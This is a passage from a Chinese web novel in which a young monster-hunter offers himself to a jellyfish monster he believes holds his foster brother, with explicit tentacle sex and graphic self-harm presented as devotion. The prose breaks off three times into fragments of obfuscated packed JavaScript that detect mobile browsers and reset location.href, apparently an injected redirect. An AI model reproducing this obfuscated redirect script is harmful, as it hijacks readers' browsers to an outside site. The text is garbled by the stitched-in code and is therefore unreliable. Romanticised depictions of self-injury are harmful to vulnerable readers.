祂虽然感到抱歉,由于亟待进食,本能地觉得少年愈发可口了。 触手四处游.走,伞盖下垂,祂迷恋地嗅着少年身上独属于祂的气味。 少年微微发抖,却毫不反抗。 被祂吓住了? 真是个胆小的孩子。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15336012|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >想必是个做噩梦都会被吓醒的孩子吧? 真可怜。 吃了他,一定会有人伤心的吧? 要不要放了他? 肚子偏生催促了起来:快吃,快吃!快吃了他! 对不起。 我要吃了你。 没入少年口腔的触手往里了些,紧接着,触手猝然被舌头舔.舐了。 祂的触手温度偏低,少年的舌头却是滚烫的。 祂猛地一阵心悸,暗道:他在讨好我? 少年似乎说了什么,不知道是不是讨好。 祂想听清少年的话,因此将触手收回来了一寸。 少年雾蒙蒙的双眼眨了眨,继而注视着祂,颇为虔诚地说起了话来。 祂直觉得自己是“神庙”中的“神明”,而少年是长跪在“神明”面前的信徒。 不,祂非但是一头怪物,还是一头弱小的A-级的怪物,与“神明”扯不上丁点儿关系。 祂定了定神,好不容易才听清少年说的是“别离开我”。 别离开我? 真是个奇怪的人类啊,竟然要求祂这个吃人的怪物别离开。 祂当然不会离开,因为祂马上就会把少年一点不剩地吃干净。 少年是祂久违的美食,绝不可浪费。 触手一根又一根地没入少年口中,少年明显痛苦不堪,却依然不反抗,只是不断地含糊不清地道:“别离开我,别离开我,别离开我……” 祂瞥了眼少年胸口处代表着“怪物清除局”的徽章,暗忖:难道他想令我放松警惕,接着趁我不备,杀了我? 然而,少年始终温顺,还以一双湿漉漉的眼睛凝视着祂,仿佛祂就是少年的全世界。 祂顿时心软得厉害,纵然怪物是没有心软一说的。 算了,等心不软了,等将这少年养胖些再吃吧,太瘦了不好吃。 祂轻而易举地说服了自己。 至于饿肚子的问题,算了,忍一忍就过去了。 唉。 而后,祂小心翼翼地将少年放下,以防少年站不稳,用触手扶着少年。 少年不住地咳嗽起来,是喉咙被祂伤着了? “对不起。” 祂不会说人类的话,只能发出奇怪的声音,连祂自己都听不懂。 见少年咳弯了细瘦的腰身,祂下意识地将用触手轻拍少年的背脊,为少年顺气。 好一会儿,少年才缓过气来。 祂依依不舍地将触手全数收了回来,上面沾满了少年的津液,水光闪烁。 一嗅,尽是少年迷人——迷怪物的香味。 祂正痴迷地嗅着,却见少年抬起头来看祂。 祂陡然紧张起来:他要呼救了?他要动手处决我了?我要不要先下手为强? 猝不及防间,祂被少年抱住了。 ——由于体型差距太大,少年只抱住了祂的一丛触手。 少年的呼吸灼热,祂觉得触手快要被烫化了。 “我爱你,别离开我。” 少年的表白同样教祂猝不及防。 祂看着少年,满腹疑窦:一个人类爱上了一头怪物?甚至还是一见钟情? 这个漂亮的人类莫非是个傻子? 但他看起来不像傻子。 那是别有所图?抑或有什么怪癖? 21.如愿·其二 “我爱你,别离开我。” 唇瓣如同生出了自主意识般,一张一合地说出了向罂从未想过要对闻璨说的话。 他不懂爱情,根本不知道自己爱不爱闻璨。 但他知道自己需要闻璨,离不开闻璨。 眼前的这头狮鬃水母显然不记得他,刚才甚至想吃掉他。 不过狮鬃水母最后改主意了,这足以证明闻璨的的确确在其体内,而不是彻底沦为了排泄物。 只要找到了闻璨就好,来日方才,他相信,有朝一日,闻璨一定会记起他。 想到这儿,他生怕自己是在做梦,咬了一下自己的舌头。 疼痛如愿从神经末梢传入脑中,他喜笑颜开:“好疼啊,是真的。” 而后,他将狮鬃水母抱得更紧了些,同时抬起头来,仔细端详着。 狮鬃水母长得流光溢彩,如梦似幻,半浮在空中,触手犹如名贵的绸缎般飘逸。 他努力地踮起脚尖,亲吻伞盖边缘:“答应我,别离开我。” 少年的唇瓣柔软、温热,狮鬃水母从未被人亲吻过,顿时怔住了,一身的触手却是情不自禁地覆上少年的身体,有几根甚至潜入了少年的衣摆作祟。 “嗯……”向罂双眼泛水,他不曾被这般抚.摸过,敏.感的肌肤不住地打起颤来。 触手滑腻,其实不太舒服,但只要一想到是闻璨在借由这些触手抚.摸他,他便舍不得拒绝。 “你想要做什么都可以,只求你别离开我。”他放松了身体,毫不设防地任由狮鬃水母为所欲为。 几根触手迤迤然地摩挲着他的后腰,又有几根触手从前襟没入,抚上了他的胸口。 他并不早熟,适才那个吻是他的初吻——如果能算是真正意义上的吻的话。 但他知道自己正在被一头怪物玩.弄身体。 他不太清楚怪物有没有发.情期,在“怪物清除局”的档案中,没有这方面的记载。 他也不太清楚狮鬃水母现在的行为究竟是不是意味着想与他交.配。 不过他研究过狮鬃水母,繁.衍期是九至十月。 而今天才六月二十七日,也就是他十八岁的生日。 至于普通狮鬃水母的繁.衍期与变成了怪物的狮鬃水母的繁.衍期有没有区别,他无法考据。 不论如何,他都心甘情愿。 下一霎,他陡然感受到一根触手挑开牛仔裤的纽扣,并钻了进去。 由于刚才狮鬃水母打算食用他,他浑身上下其实早已被粘液浸湿了,可是被直接碰触的感觉是完全不同的,尤其是那处。 越来越多的触手钻进了牛仔裤,将其中棉质的布料挤得满满当当。 向罂双腿一软,身体没来得及摔倒,便被一丛触手扶住了。 “闻璨……”他下意识地唤了一声。 “你爱的不是我么?不许叫别人的名字。”虽然明白少年听不懂,狮鬃水母仍是气愤地道。 少年非但没听懂,甚至又唤了一声“闻璨”。 祂愤愤地用伞盖去堵少年的唇,突地又被少年亲了一口。 向罂伸长手抱住伞盖,用黏黏糊糊的嗓音,撒娇道:“别离开我,好不好?” 狮鬃水母一下子气消了,算了,作为一头怪物,祂不应该同弱小的人类计较。 白衬衫被解开了全部的扣子,牛仔裤被褪到了膝盖处,向罂看着数不尽的触手在自己身上蠕动,既害羞又无措。 这少年身上有伤,没好透,膝盖还磕破了,正渗着血。 脖颈上绑的是绷带吧?也受伤了? 狮鬃水母明明是一头缺失了心脏的怪物,却觉得自己心疼不已。 真是个可怜的人类。 是在执行任务的时候,被别的怪物弄出来的? 真是讨厌的怪物,合该被处刑。 突然间,触手全数静止了,是因为膝盖上的伤口么? 向罂摸了摸伞盖,大方地道:“你想吸血的话,就吸吧。” 狮鬃水母忍不住骂道:“你这个人类为什么这么不爱惜自己?愚蠢!” 向罂听着狮鬃水母叽里咕噜,歪着脑袋道:“不够是不是,你饿了吧?“ 他身上没带任何武器,于是他用力地抓左膝的伤口,使伤口变大变深。 伤口霎时鲜血淋漓,不少血滴落在了触手上,烫得触手发颤。 见少年还要抓右膝的伤口,狮鬃水母急忙驱使触手将少年的双手向后捆住了。 “你想自己来么?可以哦。”向罂笑吟吟地道。 “我是饿了,但我不想吸血!”狮鬃水母很是焦躁,要怎么让这个被祂所捕获的人类珍惜身体?< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15348905|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 为了表明自己对血完全没兴趣,祂提起了少年的牛仔裤,又帮少年将衬衫扣子都扣上了。 闻璨不要我了?向罂害怕地揪住一根触手,颤声道:“我的血不好吃么?那吃我的肉吧。” 他低下头去,生生地从小臂咬下一块肉,吐在掌心,小心翼翼地捧着,献给狮鬃水母:“吃吧。” 狮鬃水母没有像人类一样的面孔,他无从判断祂的情绪,见祂毫无反应,他歉然地道:“不够大吧,对不起,是我太小气了。” 狮鬃水母眼见少年要咬下一块更大的肉来,吓得慌忙用触手把少年可怖的伤口包裹住了。 鲜血透过触手间的缝隙,坠落在地上,触目惊心。 祂真没用,连人类的话都不会讲,只能不断地道:“别伤害自己,别伤害自己……” 向罂不明白狮鬃水母的意思,哀求道:“我要怎么做,才能留住你?” 话音未落,眼泪不受控地流了出来。 曾经,他认为闻璨宠着他,被他欺负天经地义。 即使是芝麻绿豆大的小事,倘使闻璨做的不合他的心意,他不是和闻璨大吵大闹,就是冷战。 现如今,他却全然不知道该怎样留住闻璨。 “别哭。”狮鬃水母揩着少年的泪痕,柔声道,“我留下,我不离开你。” 少年是“怪物清除局”的人,且十之八.九是处刑官,与少年在一起必定不安全,指不定哪天就被处刑了,更何况,少年到底是不是真的爱他尚未可知。 不过祂怕少年自残,狠不下心离开,不得不拿这条命冒险。 唉,大不了死在少年手里,总比死在别的怪物口里来得好。 向罂不想哭,可是眼泪不听使唤,他哭得狼狈不堪,连嗓子都沙哑了。 一想到自己也许会被抛下,他竟然觉得不如被吃掉。 在狮鬃水母肚子里与闻璨团聚也很好。 “你要么留下,要么吃了我。”他命令道。 愚昧至极,人类命令一头怪物?可笑。 他抿了抿唇:“告诉我,你选择怎么做?” 万籁俱寂,他能清晰地听见自己失序的心跳声——“扑通扑通……” 忐忑,期盼,无助…… 各种情绪交错,他攥紧了手,手指甲嵌入皮肉,逼出了血来。 22.如愿·其三 唉,实在是个不懂得爱惜自己的人类。 这么害怕我离开么? 他真的这么爱我? 宁愿被我吃掉,也不愿意我离开? 怪物是一种被造物主剥离了全部情感,惟独余下食欲的生物。 怪物没有繁衍本能,缺乏性.欲,自然更不会交.配。 但是被一个人类,尤其是被一个符合祂审美的人类表白的滋味不差。 祂甚至觉得自己对这个人类是怀有欲.念的。 少年青涩的亲吻,少年肌肤的触感,少年灼热的体温,少年失序的心跳,少年泛红的眼眶…… 祂从少年身上感受到的所有的一切都教他着迷。 狮鬃水母思忖间,驱使触手钻入少年的拳头,将手指一根根拨开。 见掌心血糊糊的,祂当即叹了口气。 向罂揪住狮鬃水母的触手尖,怯生生地道:“告诉我你的答案。” “我留下,不吃你。”狮鬃水母不假思索地回答道。 向罂听不懂,想出了个主意来:“我数三声,你不吃我,就代表你愿意待在我身边。” “一。” 他阖了阖眼睛,接着直直地望住了狮鬃水母。 他脑中如走马灯般闪过他与闻璨的过往——他曾因为缠着闻璨讲鬼故事,吓得睡不着觉,半夜抱着枕头,爬上闻璨的床,钻进闻璨怀里,要闻璨安慰,害得闻璨一夜没睡;他曾在闻璨的课本上乱涂乱画,还在闻璨被闻爸爸骂的时候偷笑;他曾指着闻璨的鼻子,骂他们一家人是因为贪财,才会收养他。很久以后,他才知道闻家已经有好几年没收到他的抚养费了;他曾把闻璨惟一的一双运动鞋丢进池塘,只因闻璨跟其他小朋友踢足球…… 他还曾要求闻璨扮演怪物,自己则扮演处刑官,追着闻璨满院跑。 “从现在开始,你就是一头怪物了,而我是处刑官,我要处决你!” 他清楚地记得自己是这样说的。 闻璨没反对,只含笑点头:“好。” 没料到,一语成谶。 是不是从那时候起,闻璨注定会受他连累,沦落为一头怪物? 倘使那时候他不提出那个要求,闻璨是不是就能逃过一劫? 闻璨要是拒绝了他,是不是就不会被眼前的这头狮鬃水母所吞噬? 不过闻璨要是拒绝了他,凭他的坏脾气,定然会哭闹不休,直至闻璨妥协吧? 回想起来,他似乎没对闻璨做过一件好事。 也就是说,从他来到闻家起,闻璨便被厄运缠身了。 他是个爱捉弄人,性格恶劣的坏孩子。 闻璨怎么能忍受他那么久,甚至爱上了他? 兴许只是他的错觉吧,闻璨其实不爱他,不过是单纯地将他当做弟弟,爱护有加而已? “二。” 当□□人也好,当做弟弟也罢,他想留住狮鬃水母,亲眼见证闻璨借由狮鬃水母的躯壳重生。 “三。” 闻璨对我那么好,该轮到我报答闻璨了。 好一会儿后,他深深地吸了口气:“你既然不吃我,就代表你答应我了。” “嗯,我答应你了。”狮鬃水母后知后觉地发现自己还可以点头,于是点了点自己两米多宽的大脑袋。 而后,他将自己变小,触手缠在了少年的右腕,乍一看宛若一只精致的手镯。 能变换形态的怪物不多,向罂怔了怔,继而展颜笑道:“多谢你,你看起来真可爱。” 没有人会夸一头怪物可爱,少年真是个奇怪的人类。 不过狮鬃水母并不介意。 向罂瞧着被自己咬下来的肉,送到狮鬃水母面前:“你饿了吧,吃吧,别浪费。” 狮鬃水母确实饿了,但祂也确实不想吃。 区区一个人类罢了,原本就在祂的食谱上,可是祂居然下不了口。 祂不由苦思起来:我刚才怎么会想吃他?幸好我没吃,不然,我现在一定后悔万分。 见狮鬃水母一动不动,向罂客气地道:“吃吧。” 狮鬃水母抬起一根触手,圈住那块人肉,通过刺细胞,注入毒液,就地挖了个深坑,埋了。 ——人肉如若被怪物挖出来吃了,怪物便会顺着气味,找到少年,少年会有危险,祂得先下手为强。 强大的怪物一般不屑于吃这么小块人肉,因而这点毒量应该足够了。 然后,向罂带着狮鬃水母去了他与闻璨的秘密基地——一座杂草丛生的游乐园。 说是游乐园,实际上小得可怜,只有旋转木马,同他在电视上看过游乐园相去甚远。 不知道妈妈要带他来的是不是这座游乐园? 妈妈……他已经好久好久没见过妈妈了。 不知道妈妈过得好不好? 妈妈有没有忘记他? 对妈妈来说,还是忘记他比较幸福吧? 幸好他还有闻璨,幸好他找到闻璨了。 他双眼发红,低下头去,亲了亲狮鬃水母:“你会一直在我身边的对不对?” 这个人类又要哭了,真是个爱哭的人类。 这样的人类真能胜任处刑官一职么?不会被怪物生吞活剥吧? 狮鬃水母忧心忡忡。 向罂抚摸着狮鬃水母的触手,执拗地道:“对不对?” “对。”狮鬃水母点了点头。 “你还记得这里么?”向罂期待地问道。 大抵不记得吧? 果然,狮鬃水母摇了摇头。 这里是闻璨发现的。 六岁生日没去成的游乐园成了向罂的执念,他常常对闻璨念叨想去游乐园。 闻璨买不起游乐园的门票,无法带他去。 十五岁生日那天,闻璨带他来了这个不知道什么时候被废弃的游 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15357961|163120||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐园。 他心里不是不开心,但表现得很嫌弃,瞪着闻璨说:“真破,真旧,真脏。” “抱歉,等我以后有钱了,再带你去真真正正的游乐园。”闻璨没责怪他,还将他扶上了旋转木马。 没插电,没人维护,旋转木马当然旋转不起来。 突然间,闻璨不知从哪里变出一小桶爆米花,献宝似地递给他。 向罂没吃过爆米花,猛地抓了一大把往嘴里送。 香甜一下子在口腔四溢开来,是他从没尝过的滋味。 没来得及咽下,他便兴奋得大叫:“你什么时候买的?是给我的?都是给我的?不给别人?” “两个多小时前买的,是给你的,都是给你的,不给别人。”闻璨道歉道,“对不起,爆米花凉了,我以后一定买刚出炉的给你。” “谢谢你。”向罂别别扭扭地道谢,“我等着你以后买刚出炉的爆米花给我。” ——直到三年后的现在,他都没等到。 “生日快乐,阿罂。”闻璨真诚地道,“愿你年年有今日,岁岁有今朝。” 向罂不住地往嘴里塞爆米花,敷衍地瞥了闻璨一眼,表示自己听到了。 闻璨推着木马屁股往前走,假装旋转木马能动。 向罂坐在旋转木马上,吃着香香甜甜的爆米花,还得寸进尺地道:“闻璨唱歌,旋转木马就应该有音乐。” 闻璨于是唱起了歌来,是荒腔走板的“祝你生日快乐”。 闻璨一向不擅长唱歌。 而向罂喜欢为难闻璨。 “祝我生日快乐。”向罂居高临下地捏了一颗爆米花,送到了闻璨唇边。 闻璨不吃,只道:“我不爱吃,你自己吃吧。” “你真挑食,连这么贵的爆米花都不吃。”但向罂非要闻璨吃,手指钻入闻璨的唇缝,抵上了牙齿,“吃,必须吃。” 闻璨只得就着向罂的手吃了。 当时的向罂全然没意识到闻璨之所以这也不爱吃,那也不爱吃,是为了留给他吃。 等闻璨推着他转了好几圈,他才大发慈悲地道:“你也上来吧。” 闻璨上了他隔壁的那匹旋转木马,他顺手又喂了闻璨一颗爆米花。 随着爆米花越来越少,他吃得越来越慢,良久后,一小桶爆米花终究被他吃得一颗不剩,他甚至连其中的玉米壳都吃了。 他的双手变得油乎乎的,理所当然地在闻璨衣服上擦干净了。 闻璨没责备他,而是抚摸着他的脑袋,安慰道:“别难过,我还会给你买爆米花的。” “嗯。”向罂用脑袋蹭了蹭闻璨的掌心。 自此之后,这里成了他们的秘密基地,不带其他小朋友玩。 向罂喜欢独占闻璨,最好闻璨再也不理睬其他小朋友。 时隔两年,向罂带着闻璨——已经变成了怪物的闻璨,来到了这个秘密基地。 23.如愿·其四 “你既然不记得这里,想必也不会记得我吧?”向罂愚蠢得问了一个显然易见的问题。 狮鬃水母果不其然地摇了摇头:“我应该记得这里,记得你?我们之前见过?我们之前来过这里?” 即便听不懂,但向罂懂得狮鬃水母的意思。 “我啊……”他委屈地吸了吸鼻子,“我叫‘向罂’。” “‘朝向’的‘向’,‘罂.粟’的‘罂’。”他用面颊磨蹭着狮鬃水母的脑袋,可怜巴巴地道,“别再忘记我了。” ——他不喜欢罂.粟,因为他的生父是饱含着莫大的恶意,为他取的“罂”字。 所以,他每次介绍自己的名字都会说是“罂瓶”的“罂”。 大多数人并不知道“罂瓶”是什么,他会对他们解释“罂瓶”是古代一种盛液体的小口大腹的瓶子。 由于对方是闻璨,他毫不犹豫地说了“罂.粟”的“罂”。 也是“东方罂.粟”的“罂”,闻璨曾亲手为他种了一丛“东方罂.粟”。 面前的狮鬃水母必然也不会记得那丛“东方罂.粟”。 “向罂。”狮鬃水母唤了一声。 真是个奇奇怪怪的名字,人类的父母怎么会为孩子取这样的名字? “罂.粟”的“罂”,不吉利又邪恶,甚至可以说晦气,毕竟每年死于各种鸦.片制成品的人类只多不少。 向罂的父母太狠心了。 “他们对你不好吧?我去把他们都吃掉。”祂不由自主地提议道。 向罂观察着狮鬃水母,当然看不出什么端倪来,只能猜测道:“你觉得我的名字太难听了?” 狮鬃水母摇头道:“不难听。” “多谢你。”尽管变成了一头狮鬃水母,闻璨依旧是温柔的。 向罂坐上了旋转木马,将狮鬃水母放在马头,自己则依偎在马脖子上,面颊枕着几缕触手,有点儿痒。 两年过去了,旋转木马还没修好。 没有闻璨帮他推,旋转木马一动不动。 没有闻璨帮他买,他也没有爆米花吃。 他实在是太依赖闻璨了,这样不好,他得振作点,再振作点。 想到这儿,他猛地坐起身来,将狮鬃水母放在马鞍处,自己则跳下了旋转木马。 该轮到他给闻璨推旋转木马了。 夜凉如水,明明是徐徐微风,他竟觉得脸又冷又疼。 原来他想的是能找到闻璨就好,而今他想的却是闻璨什么时候能恢复意识,像以前那样处处包容他,宠溺他,为他着想? 他啊,被闻璨养得既娇气又脆弱,根本不能失去闻璨。 措不及防间,身体腾空,他再度回到了马背上,腰间缠着触手。 只见狮鬃水母变回了原本大小,半浮在空中。 旋转木马被触手推着转了起来,因年久失修,发出“吱呀吱呀”的声响。 向罂伸手揪住一丛触手,狮鬃水母马上变成了易于他怀抱的大小,降落在了他怀中。 他怔了怔,双眼雾气弥漫,拨弄着狮鬃水母的触手,不说话。 狮鬃水母依然是狮鬃水母,闻璨还在祂体内沉沉睡着。 祂兴许只是在模仿他适才推旋转木马的动作而已。 狮鬃水母是一头怪物,自然不通人性。 但祂并不反感向罂的行为,便也不挣扎。 好一会儿,向罂才轻声道:“今天是我十八岁的生日,你为我唱生日歌好不好?” 对于人类而言,生日是一个极其重要的日子。 狮鬃水母没有拒绝:“祝你生日快乐,祝你生日快乐,祝你生日快乐……” 祂不会唱歌,唱得乱七八糟,幸好向罂本来就听不懂,不然会被祂吓着吧? 叽叽咕咕的声音从狮鬃水母传来,不好听,有点奇怪。 不过向罂爱听,十六岁,十七岁的生日,闻璨都没为他唱生日歌。 “谢谢你。”他捏起一把触手,像是握手一般。 “不客气。”狮鬃水母回握了向罂的手。 “我的生日愿望是……”向罂注视着狮鬃水母,乞求道,“从今天开始,我可以叫你‘闻璨’么?‘闻’是‘闻见’,‘闻到’的‘闻’,也就是用鼻子嗅的意思,‘璨’是‘璀璨’的‘璨’。” “闻璨”…… 向罂刚才也叫过闻璨的名字。 向罂爱的其实是闻璨吧? 而祂仅仅是闻璨的替身。 向罂对闻璨求而不得么? 一股子妒意猝然占据了狮鬃水母的身体,教祂恨不得将闻璨拆骨入腹。 与此同时,祂的触手暴躁地将向罂紧紧地捆住了。 我惹祂生气了? 向罂慌忙致歉:“对不起。” 算了,作为一头大度的怪物,祂不应该同向罂计较,尤其是看见被向罂自己咬出来的伤口还在流血之时。 狮鬃水母松开向罂,指了指向罂的伤口。 “没事的,死不了。”向罂蛮不在乎地道。 曾几何时的向罂连被蚊子叮了一个小小的包都要闻璨安慰。 在经历了多次死里逃生之后,这点小伤确实没什么大不了的。 狮鬃水母坚持,指着伤口不放。 “好,我去包扎。”向罂刚要下旋转木马,突然发现狮鬃水母尽管生气了,仍在帮他推旋转木马。 他粲然一笑,摸了摸狮鬃水母:“停下吧。” 狮鬃水母不但停下了,还将他抱下了旋转木马。 这座游乐园有一个小卖部,当然同样被废弃了。 向罂用自己积攒的工资,将小卖部简单装修成了房间。 他从其中一头旋转木马肚子里掏出钥匙,打开房门,开了灯。 ——大多数房子的大门,不是用瞳孔识别,就是指纹识别,他的钱不够,不得不用老式的门锁。 他浑身上下满是狮鬃水母的黏液,要包扎伤口,须得先洗澡。 他伸手将白衬衫,牛仔裤脱了干净,一转身,忽然发现狮鬃水母跟进来了。 失去闻璨前,他常常在闻璨面前脱衣服,换衣服,并不觉得有什么问题。 而闻璨不是转过身去不看,就是捂住眼睛。 他还不解地问过闻璨:“我们都是男的,我都不介意,你有什么好害羞的?” 当时的闻璨红着脸说:“你长大了,不可以随便在别人面前脱衣服。” 他才不听闻璨的话,照旧在闻璨面前脱衣服,还觉得闻璨手足无措的样子很是有趣。 如今他意识到了闻璨或许喜欢他,因而生出了羞耻心来。 是以,一看见狮鬃水母,他便下意识地抓起白衬衫,以遮挡自己的身体。 “我去洗澡,洗完澡再包扎。” 他急匆匆地往浴室走,脚踝突地被触手缠住了。 狮鬃水母猝然瞧见向罂赤.身.裸.体,顿时怔住了。 祂想自己如果有一张人脸,现在必定红透了。 向罂的身体如同向罂的脸蛋一般漂亮,只是瘦了些,苍白了些。 肋骨过于明显了,根根凸起,但包裹着肋骨的肌肉紧实而有力,有着长期训练的痕迹,果然是“怪物清除局”的处刑官。 见向罂拿湿乎乎的白衬衫挡住了身体,祂回过神来,不悦地用触手缠住了向罂的一双脚踝,禁止向罂离开。 接着,祂又用触手将白衬衫从向罂手中抽走了。 眼见白衬衫“啪”的一声掉在了地上,向罂没去捡,本能地蜷缩了身体,并用双手挡住了下.身。 狮鬃水母强行拨开向罂的手,进而展开了向罂的身体。 少年的身体终于再次一览无余地呈现在了祂眼前。 触手受到蛊惑,齐齐攀上少年的身体。 “我满十八岁了。”向罂紧张地抿了抿唇瓣,“是能合法登记结婚的年纪了,所以……” 他尽量放松了自己的身体,面色通红:“所以……所以你想做什么都可以。” 狮鬃水母也不清楚自己到底想对向罂做些什么,祂只是放任触手为所欲为。 灯光拂在狮鬃水母身上,将狮鬃水母照得愈发梦幻。 向罂主动拥住狮鬃水母,任凭狮鬃水母将触手探入口中。 人类是一种能接吻的生物,怪物则不能。 狮鬃水母生平第一次想变成人,好想好想变成人,压着向罂,与他接吻。 同向罂唇齿相交一定是一种异常销.魂的体验吧? 触手一根又一根没入向罂的唇,纠缠着向罂的舌。 向罂的双颊已然被塞得鼓鼓囊囊,祂却觉得不够,还不够,完全不够。 向罂不明白这算不算是接吻,毕竟狮鬃水母没有像人类一样的唇舌,或许这便算是接吻了吧。 狮鬃水母解开向罂颈上的绷带,里头果真藏着一道伤口,看起来像是被人咬的。 “是谁咬的你?我去杀了他。” 可惜向罂听不懂。 祂倘使是人该有多好。 祂变成怪物前,大概是人吧? 祂不记得了。 要是在祂还是人的时候,遇见向罂该有多好? 真嫉妒那个闻璨。 那个可恶的闻璨同向罂接过吻么? 是舌.吻么? 他还进一步对向罂做过更过分的事么? 譬如同向罂交.尾? 向罂也像如今这般毫不设防么? 可恨! 向罂是祂的,是独属于祂的。 别的什么人类,怪物,不能碰触,更不能伤害。 独占欲疯长,一刻不停地折磨着祂。 喉结被触手揉搓着,所有的蠕动都被触手悉数得知。 喉结昭示着向罂的性别,向罂迷迷糊糊地想:闻璨没向我告白,是不是因为害怕被我讨厌? 其实对他而言,只要是闻璨就好,是男是女都无所谓。 “闻璨……” 他忍不住轻唤一声,使得狮鬃水母加重了力道。 “不准喊‘闻璨’,我讨厌闻璨。”狮鬃水母恨得牙痒痒,奈何祂不知道闻璨的下落,想吃也吃不了。 对了,向罂适才说过生日愿望是唤祂“闻璨”。 故而,向罂现在唤的其实是祂? 祂顿时欣喜若狂。 向罂不是女孩子,触手却不断地抚弄着他平坦的胸部。 “嗯……”他彻底站不住了,身体向后倾倒。 由于被触手圈着腰身,没摔倒,腰身却像是要折断了。 狮鬃水母不记得自己上次吃人是什么时候,总之祂对于人体的结构并不了解。 祂充满求知欲地探索着向罂的身体,触手四处游.走,其中一根甚至…… “闻璨……”向罂通体覆满了触手,气息紊乱,“别,脏。” 他口中说着自己已经满十八岁了,但他全然不清楚男性与男性要怎么做,他与怪物又要怎么做。 不会是那里吧?毕竟那里是脏的。 既然向罂不愿意,狮鬃水母也不勉强。 向罂这么可爱又可怜,还是别太欺负他。 触手被收了回来,转而抚上向罂的蝴蝶骨。 向罂阖着眼睛,假装是作为人类的闻璨在同他亲.热。 可是狮鬃水母又湿又滑,与作为人类的闻璨大相径庭。 闻璨,我好想你啊。 你什么时候能变回原来的模样? 我再也不欺负你了。 你要和我做兄弟,我们就做兄弟;你要和我做恋人,我们就做恋人。 闻璨,闻璨,闻璨…… 啊,他真是贪得无厌。 闻璨能借由狮鬃水母苏醒,他就该满足了。 闻璨被他害得再也变不回人了。 “神庙”里自称“神明”的那个人能帮助闻璨变回人么? 据说“怪物清除局”有一些秘密档案,最起码得是副局长级别的官员才能查阅。 那些秘密档案上面记载了什么?是否记载了能帮助闻璨变回人的方法? 他一面苦思冥想,一面任由狮鬃水母摆弄。 神志被分成了两半,一半清醒,一半迷醉。 浑身骤然抽搐起来,突如其来的电流霎时漫遍四肢百骸。 终是彻底沉沦了,他下意识地长大了嘴巴,却说不出话来。 吐息失序,心如擂鼓,手指与脚趾全数蜷缩了起来,身体显然脱离了他的掌控。 他的头发湿透了,不知道是出的汗太多,抑或狮鬃水母留在上面的黏液太多? 他的身体究竟出什么事了? 他想仔细看看自己,居然动弹不了。 不知道多久后,身体方才听他的使唤。 他低头去看自己,竟然发现束着自己腰身的触手上头沾染了星星点点的白。 是什么? 他用指腹沾了些许,送到眼前,认真观察。 是狮鬃水母的黏液么? 不是,狮鬃水母的黏液更为透明些。 他好奇地送到嘴里尝了尝,顿时眉间尽蹙,实在不是什么好味道,甚至有点儿恶心。 这究竟是什么? 他满腹疑窦,只能向狮鬃水母求助:“这是什么?” 这一问,他才发现狮鬃水母身上也沾了不少,狮鬃水母居然正在食用。 “别吃,难吃死了。”他抓住狮鬃水母的触手,方要把上面的脏东西擦干净,竟见狮鬃水母指了指那儿。 那儿…… 怪不得刚才身体会不听使唤。 他刚才的样子会不会很奇怪? 狮鬃水母是怎样看待他的?又为什么要吃? 听说青春期的男孩会自己做那种事,而他从来没做过。 第一,没兴趣;第二,忙着训练,没时间。 所以他此前从来没见过。 倘若……他情不自禁地想……倘若他在两年前同闻璨……同闻璨睡……睡觉……会看见这种东西从闻璨那儿出来吧? 一想到闻璨的东西应当也是差不多的味道,他突然不觉得恶心了,他甚至突发奇想地想尝尝闻璨的。 然而,他尝不了闻璨的,而狮鬃水母正在吃他的! 他不由害羞了起来:“别吃了!” 狮鬃水母不听他的话,当着他的面,迤迤然地品尝着。 他想阻止,无奈阻止不了,不得不眼睁睁地看着。 啊,对了,他还可以不看。 于是他捂住了自己的眼睛。 看不见狮鬃水母了,他竟鬼使神差地幻想是闻璨在吃。 闻璨会想吃么?闻璨会觉得难吃么? 会么? 不会么? 闻璨如果真的喜欢 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向罂的双腿还在打颤,站不稳,只得由狮鬃水母抱着。 向罂打开莲蓬头,透过水雾中望向狮鬃水母。 因为干净的水太难得,所以十岁之前,他都是和闻璨一起洗澡的。 他们像其他男孩子一样比大小,当时的他与闻璨差不多大。 他记得自己当时还夸下海口,等他长大了,一定会比闻璨大得多得多,连闻璨的大腿都得比他的细。 当时的他豪情万丈。 而今只感觉羞耻,他居然对闻璨说过那种话。 比闻璨的大腿粗什么的,也太夸张了。 十岁之后,他嫌弃闻璨脏,不肯和闻璨一起洗澡了。 闻璨只好等他洗完后,再用他洗过的水洗。 闻璨若是一颗大白菜,早就被他的气味腌制入味了。 他脑中冒出了这个莫名其妙的念头后,忍俊不禁。 闻璨才不是什么大白菜,闻璨是……闻璨是个大笨蛋,一个为了他,不要命的大笨蛋。 他洗过的水是不是很脏? 闻璨会不会觉得脏? 